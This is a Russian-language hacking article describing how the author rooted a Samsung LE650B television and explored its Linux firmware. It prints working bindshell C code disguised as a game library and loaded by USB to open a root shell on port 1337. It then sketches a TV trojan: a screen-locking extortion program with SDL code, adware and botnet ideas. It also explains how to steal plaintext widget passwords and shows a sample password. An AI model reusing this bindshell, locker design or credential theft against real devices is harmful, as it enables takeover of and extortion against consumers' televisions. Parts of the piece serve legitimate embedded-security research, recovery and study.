Взлом встраиваемых систем и, в частности, различной бытовой техники — это очень интересная тема и перспективное направление. Сегодня я покажу тебе это на примере телевизора Samsung LE650B. Все в этом телеке почти стандартно — GNU/Linux, BusyBox, — но чтобы получить к нему доступ, мне пришлось изрядно потрудиться.

 

Наши задачи

Первым делом нужно обозначить конкретные задачи, которые я перед собой ставил. Главная задача — исследовать телевизор и осуществить локальный взлом: получить полный доступ к кишкам нашего телека и разобраться с тем, как он функционирует на уровне ОС. Побочная задача — поразмышлять на тему трояна для зомбоящика и прикинуть, как подобный трой мог бы выглядеть.

 

Подключаемся

Первичный осмотр телевизора показал, что на борту устройства есть Ethernet-порт. Это очень важное обстоятельство, ведь если у телевизора есть сетевой интерфейс, то наверняка есть и сетевые сервисы. Выбрав ручную настройку сети, я назначил телевизору статический адрес 192.168.1.2, а своему ноутбуку – 192.168.1.1. После этого я соединил патч-кордом телек с ноутбуком и проверил связь — телевизор отлично пинговался.

Для сбора информации об открытых портах и запущенных сетевых сервисах я традиционно воспользовался сканером портов nmap:

$ nmap -A 192.168.1.2

Nmap scan report for 192.168.1.2
Host is up (0.00019s latency).
All 1000 scanned ports on 192.168.1.2 are closed
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)
OS details: Linux 2.6.14 — 2.6.16, Linux 2.6.17 (Mandriva)

Честно говоря, я и не ожидал увидеть тут открытый телнет, так что подобный результат меня не сильно обломал :). Нет открытых TCP-портов — ничего страшного. Может, UDP-сервисы порадуют?

# nmap -sU 192.168.1.2

Nmapscanreportfor 192.168.1.2
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
1024/udpopen|filtered unknown
1026/udpopen|filtered win-rpc
1900/udpopen|filtered upnp
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)

Засветился UPnP, уже кое-что. Эта технология является ядреной помесью HTTP и XML для связи и управления устройствами. В данном случае UPnP используется для поддержки DLNA (Digital Living Network Alliance) — технологии, позволяющей передавать различный медиа-контент по сети между совместимыми устройствами, например играть видео или музыку через Wi-Fi/Ethernet с DLNA-сервера. Отметим это обстоятельство и отложим пока UPnP в сторону, нужно завершить исследование.

 

Осмотр GUI

Больше всего мне хотелось получить полноценный доступ к операционной системе зомбоящика, идеальным вариантом была бы консоль с рутовыми правами 🙂

Размышляя об этом, я решил побродить по меню телевизора, вдруг там есть что-нибудь интересное? Среди различных "Галерей" и "Музыки", я нашел интересный пункт "Игры". Идея была стандартной: наверняка кроме предустановленных гамес Samsung сделал возможность установки новых игр и даже предоставил SDK для их создания. Осталось понять, как новые игры устанавливаются, а на чeм они написаны и в каком формате — не столь важно.

Само собой, играть я собрался в занимательную игру под названием bindshell. После минутного поиска я попал на Samsung AppStore. Зарегистрировавшись, я загрузил первую попавшуюся бесплатную игру. Из интересного в файле с игрой имелись: xml-файл clmeta.dat – manifest-файл, с языковыми настройками и описателями файлов игры; рядом находится game.so — sharedlibrary, в ней и лежит код запуска игры. Была еще куча файлов — ресурсы игры и прочие бинарники. Первым делом мне захотелось узнать, для какого процессора собрана игра:

$ file game.so
game.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped

Все ожидаемо — ARM! Где мультимедиа, там и эти трудяги. Просматривая информацию из этой библиотеки, вывод objdump, я заметил функцию Game_Main, которая, как оказалось, и вызывается при загрузке игры. Прежде чем писать что-то для получения доступа к системе, нужно было разобраться, каким образом игры загружаются на телевизор. Поместив директорию с файлами игры в корень флэшки (FAT32) и подключив ее к телевизору, я увидел меню автозапуска, предлагающее мне обновить ПО или же посмотреть содержимое через ContentLibrary. В ContentLibrary: источник — флешка, пункт меню — "Игра", в списке директорий — "Директория с игрой .. Воспроизвести". Готово, игра загрузилась.

Теперь таким же образом нужно запустить нашу хек-игру. Bindshell я взял самый элементарный, никаких особых выкрутасов здесь не требуется, главное — скомпилировать его как sharedlibrary и объявить функцию Game_Main().

Наш бинд-шелл:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/ip.h>
extern Game_Main;
void Game_Main()
{
int icmp_sock, shell_sock, cli;
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(1337);
shell_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(shell_sock, (structsockaddr *)&sin, sizeof(sin));
listen(shell_sock, 1);
cli = accept(shell_sock, NULL, 0);
dup2 ( cli, 0 );
dup2 ( cli, 1 );
dup2 ( cli, 2 );
execl ( "/bin/sh", "sh", NULL );
}

Компиляция элементарна:

arm-linux-gccbindshell.c -fPIC -shared -o game.so

 

Запуск злокода

Для запуска бинд-шелла нужно положить в корень флэшки папку с файлами game.so (который получили на прошлом этапе)и clmeta.dat (его можно взять от любой другой игры). После этого нужно подключить флешку к телевизору и запустить игру в меню автозапуска. В качестве результата работы бинд-шелла ты должен получить черный экран на телевизоре и открытый шелл на 1337 порту. Успех работы бинд-шелла проверяется простой командой:

$ telnet 192.168.1.2 1337

Имея опыт работы со встраиваемыми системами, я сразу подумал, что в устройстве используется busybox — популярный простенький шелл с набором основных консольных утилит. Запустив эту оболочку командой busybox, я увидел традиционный help, в котором была информация об ОС и список доступных программ, включающий даже vi.

 

Внутренности системы

В корне файловой системы я сразу заметил кучу mtd_*-директорий: это точки монтирования блоков flash-памяти. Версия ОС как всегда на своем месте:

# cat /proc/version
[28_64_512] Linux version 2.6.18_SELP-ARM (ksh921@sp) (gcc version 4.2.0 20070514 (GPL2) (SELP 4.2.0-3.0.5.custom 2007-10-31(14:53))) #81 PREEMPT Mon Jun 22 10:10:31 KST 2009

Интересно взглянуть и на файл passwd:

# cat /etc/passwd
root::0:0:Root,,,:/:/bin/sh

Вот так, даже без пароля. Подробнее о железе можно узнать из лога загрузки, да и вообще туда следует заглядывать всегда, помогает понять общую картину строения девайса:

# dmesg

Теперь интересные части лога:

<5>CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv6TEJ), cr=00c5387f
<4>Machine: Samsung-SDP83 Eval. Board(64bit 512MB)
<6>SDP83 Core Clock: 600.0Mhz
<6>SDP83 DDR2 Clock: 399.937Mhz

А телевизор оснащен неплохо: ARMv6 600Mhz, DRRII 400Mhz 512MB. Буквы "TEJ" здесь означают следующее:

  • T: Поддержка THUMB-режима процессора. В этом режиме исполняются инструкции длиной 16 бит (в нормальном режиме – 32). Режим этот нужен для оптимизации программ по размеру.
  • E: Enhanced DSP instructions.
  • J: Jazelle DBX (Direct Bytecode eXecution) — семейство замечательных технологий, разработанных компанией ARM для аппаратного ускорения выполнения Java байт-кода. В процессор добавляется специальный сопроцессор, который аппаратно преобразует байт-код в инструкции основного процессора. В результате осуществляется значительное ускорение выполнения Java-кода.

В списке процессов не было почти ничего интересного, за исключением процесса exeDSP — это управляющая программа.

Список модулей ядра:

# lsmod
rt73        354092  0xbf531000
rt2870sta   674644  0xbf48b000
usb_storage 37796   0xbf480000
ohci_hcd    18692   0xbf47a000
ehci_hcd    29992   0xbf471000
usbcore     129064  0xbf450000
usb_fault   4380    0xbf44d000
8139too     23296   0xbf446000
samdrv      3875988 0xbf092000
rfs         71688   0xbf07f000
fsr_stl     251448  0xbf040000
fsr         257756  0xbf000000

Сверху вниз: первые 2 модуля — драйверы фирменных Wi-Fi адаптеров Samsung. Компания специально убрала поддержку сторонних адаптеров, чтобы потребителям пришлось покупать "родные" карточки по высокой цене. Следующие пять модулей реализуют поддержку usb; далее идет драйвер сетевой карты; samdrv — драйвер телевизора; следующий по списку — модуль поддержки файловой системы Samsung, fsr* — модули доступа к памяти.

 

Файловая система

Руководствуясь данными mount, df и содержанием файла /sbin/update.sh, я собрал полезную информацию о структуре файловой системы нашего телевизора:

  • /dev/tbml6, squashfs, ro, / — корневая файловая система;
  • /dev/tbml7, squashfs, ro, /mtd_boot — содержит управляющую программу MinicomCtrl, несколько стартовых скриптов и модули ядра;
  • /dev/tbml8, rfs, ro, /mtd_exe – содержит множество файлов, в том числе управляющую программу exeDSP, драйвер samdrv.ko, библиотеки;
  • /dev/tbml9 squashfs, ro, /mtd_appdata – содержит служебные файлы;
  • /mtd_tlib — MediaContent — галерея, игры и прочее;
  • /mtd_down — содержит загруженные виджеты;
  • /dtv/usb/sd* — точки монтирования usb-flash.

Как видно, тут используются два типа ФС: squashfs и rfs. Squashfs предоставляет доступ к данным только в режиме ReadOnly, поэтому для модификации данных нужно слить дамп на внешний носитель, распаковать, изменить данные и залить исправленный образ назад на устройство.

Заметив среди точек монтирования свою флешку, я решил сдампить на нее все интересное для дальнейшего изучения и модификации. Первым делом я забрал дамп корневой файловой системы:

# cat /dev/tbml6 > /dtv/usb/sda/rootfs.img

Сдампив по аналогии все что было можно, я отправился бродить по директориям. Вот наиболее интересные места и файлы, которые я обнаружил:

  • /mtd_exe/GAME_LIB/ — SDL-библиотеки, используемые играми для вывода звукаграфики;
  • /mtd_exe/InfoLink/keyconfig — биндинги клавиш пульта дистанционного управления, при просмотре содержимого сразу видно "костыль" — биндинги к клавишам обычной клавиатуры;
  • /mtd_appdata/resourse — звуки включения (on.mp3), выключения (off.mp3), сброса до заводских настроек (factory_reset_bell.mp3) и звук, проигрываемый при тесте (self.mp3).
 

Распаковка

Корневая файловая система распаковывается элементарно:

$ unsquashfsrootfs.img

А как быть с /mtd_exe? Файловая система RFS создана на базе FAT16, поэтому ничего распаковывать не требуется, нужно просто ее смонтировать:

$ mkdirmtd_exe
$ mount mtd_exe.img ./mtd_exe -o loop
$ ls -la mtd_exe

Теперь у нас есть возможность изменять любые данные внутри этих дампов: например, можно легко сменить ненавистные звуки включения/выключения устройства (/mtd_appdata/resourse) или перенастроить значение клавиш пульта ДУ (/mtd_exe/InfoLink/keyconfig).

 

Троян для телевизора

Речь пойдет только о концепции трояна, никакого законченного решения здесь нет. Моей целью является просто пофантазировать на эту тему и показать, как примерно может выглядеть вредоносный софт для современных телевизоров. Прежде всего, что вообще может делать такой троян? Вот сходу три годные идеи:

 

1. Блокиратор телевизора

Все помнят веселый замес с троянами типа Winlock. Тупой софт, блокирующий работу компьютера и предлагающий снять ограничения платной SMS’кой, позволил злым парням заработать миллионы долларов. Ничто не мешает развить эту идею на новые платформы, и телевизоры — точно не худший вариант для этого. Представь: "Телевизор заблокирован, для разблокирования отправьте sms на номер XXXX". Как ты скоро убедишься, написать такой "троян" довольно просто.

 

2. Рекламный трой

Идея простая — классическая adware, рекламный трой, показывающий рекламу во время просмотра телека или использования меню.

 

3. DDoS/спам-бот

Любой современный телевизор — это прежде всего обычный компьютер на базе Linux. И, само собой, он легко может выполнять любой привычный троянописателям функционал наподобие рассылки спама, участия в DDoS-ботнетах и так далее. Теперь расскажу, как подобные трои могут работать. В качестве примера я решил взять блокиратор: это довольно простой и показательный пример. Для вывода графики в телевизоре используется библиотека SDL. Документация к этой библиотеке есть и на русском языке. Все стартовые скрипты расположены на блоках с RO-доступом, без правки дампов не обойтись. Но есть еще один вариант — автозапуск через виджеты или игры. Не обязательно инфицировать игру, можно просто переименовать game.so, а вместо него положить рядышком wrapper с полезной нагрузкой, который в форке запустит игру, чтобы не нервировать пользователя.

Итак, принцип работы трояна. Стартовав, первым делом fork’аемся на 2 процесса: первый будет выводить графику, второй — отстукиваться на управляющий сервер. Инициализация графики в телевизоре должна проходить примерно таким образом:

#defi ne VIDEO_X 1920
#defi ne VIDEO_Y 1080
#defi ne VIDEO_BPP 32

#defi ne SCREEN_FLAGS 0
...
fl og = fopen("/dev/kmsg", "a+");
...
int init_video(void)
{
if(SDL_Init(SDL_INIT_VIDEO) == -1 )
{
printf(flog, "Fail with SDL_Init: %s.n", SDL_GetError());
return 0;
}
atexit(SDL_Quit);
if(!(screen = SDL_SetVideoMode(VIDEO_X, VIDEO_Y, 32, SCREEN_FLAGS)))
{
fprintf(flog, "Fail with SDL_SetVideoMode: %s.n", SDL_GetError());
return 0;
}

return 1;
}

Далее нужно вывести сообщение вроде "Телевизор заблокирован, отправьте SMS...". Проще всего загрузить изображение с этим текстом, плюс можно ещe и пофантазировать вдоволь. Делается это очень просто:

int draw_image()
{
if(!(image = SDL_LoadBMP("/mtd_down/locker/fuckup.bmp")))
{
printf("Fail with LoadBMP: %s.n", SDL_GetError());
return 0;
}
SDL_BlitSurface(image, NULL, screen, NULL);
return 1;
}

Функция SDL_BlitSurface() "накладывает" загруженное изображение на экран. Графическая часть трояна готова. С сетевой частью проблем не будет — обычные сокеты, никакой экзотики.

 

Недостатки Internet@TV

В оболочке телевизора есть интерфейс "Internet@TV" — это своего рода каталог интернет-виджетов: AccuWether, Youtube, Twitter, Facebook. Я поставил Twitter: мне было интересно посмотреть, как тут все устроено в плане безопасности. Вбив свой логин с паролем в виджет Twitter, я зателнетился к телевизору, чтобы поискать, как хранятся пароли от моего твиттера.

Исследуя каталог /mtd_down/common, я нашел папку с многообещающим названием WidgetMgr. Внутри лежали файлы cpdata1.dat и localId.dat. Как выяснилось, именно в этих файлах и хранились в открытом виде пароли от виджетов:

# cat localId.dat
hm 1111 cpdata1.dat

cat cpdata1.dat

Twitter HellMilitiaFuckUAll

Поясню немного назначение файлов: localId содержит параметры "общей" учeтной записи, по одной на строку. Формат прост — login:pin:passwd_file.

Файл c pdataN (где N — номер "общей" учeтной записи, этих файлов может быть несколько), содержит пароли к виджетам в открытом виде. Все, теперь ты можешь добавить к нашему "трояну" функционал для кражи сохраненных в телевизоре паролей от интернет-сервисов.

 

Реанимация устройства: консольный кабель

Перед тем как закатывать исправленные дампы файловой системы, нужно узнать, как восстанавливать девайс в случае неудачной записи. Для этого у телевизора имеется специальный разъем, выполненный под обычный 3.5-миллиметровый джек. Собственно, терминальный кабель и представляет собой аудио-кабель, у которого с одной стороны джек, а с другой – разъем RS-232.

Имеется два варианта восстановления:

 

Через консоль

  1. Подключаем телевизор к компьютеру при помощи кабеля.
  2. Подключаемся к телевизору с помощью любой терминальной программы.
  3. Включаем поддержку usb, запустив стартовый скрипт (нужно для usb-flash памяти):
    /lib/modules/rc.local
    Включаем поддержку NAND-памяти и файловой системы rfs:
    # insmod /lib/modules/fsr.ko
    # insmod /lib/modules/rfs.ko
    # insmod /lib/modules/fsr_stl.ko

    Стираем кривой образ, например:
    bml.erase /dev/bml0/5
    Записываем ранее скопированный, оригинальный или исправленный образ, находящийся на флэшке:
    bml.restore /dev/bml0/5 /dtv/usb/sd1/Image.img
 

Через загрузчик u-boot

В самых сложных ситуациях необходимо восстановление через загрузчик u-boot. Первым делом нужно зайти в сервисное меню телевизора, для чего требуется при выключенной железке быстро нажать кнопки на пульте ДУ [INFO] [MENU] [MUTE] [POWER]. Затем в пункте "Control .. Suboption .. Rs232 jack" нужно выбрать "Debug", а в меню "Control .. Suboption .. Watchdog" нужно вырубить "сторожевого пса", чтобы он не перезагружал устройство во время доступа к u-boot.

Дампы блоков памяти нужно разместить на флэшке по особым правилам:

  • файловая система на флeшке должна быть FAT32;
  • дампы должны находиться в директории /update;
  • имена дампов должны соответствовать приведeнным ниже:
    /dev/bml0/1 onboot.bin
    /dev/bml0/2 u-boot.bin
    /dev/bml0/3 uboot_env.bin
    /dev/bml0/4 fnw.bin
    /dev/bml0/5 Image
    /dev/bml0/6 rootfs.img
    /dev/bml0/7 boot.img

Теперь можно соединяться. Подключив кабель и открыв консоль, включаем зомбоящик. В консоли должен появиться лог загрузчика, а в конце — сообщение "Hit any key to stop autoboot". В меню лоадера выбираем пункт под номером 0, это запустит консоль. Для ознакомления с доступными командами можно набрать "help". Подключаем usb-флешку и сканируем устройства: bbmusb. Теперь выбираем номер блока, который нужно восстановить – например, kernelimage (4). Далее вводим имя файла, в котором содержится образ ядра (в нашем случае – "Image"), после этого начинается запись образа ядра в память. По окончании перезагружаемся и проверяем, как прошла операция.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии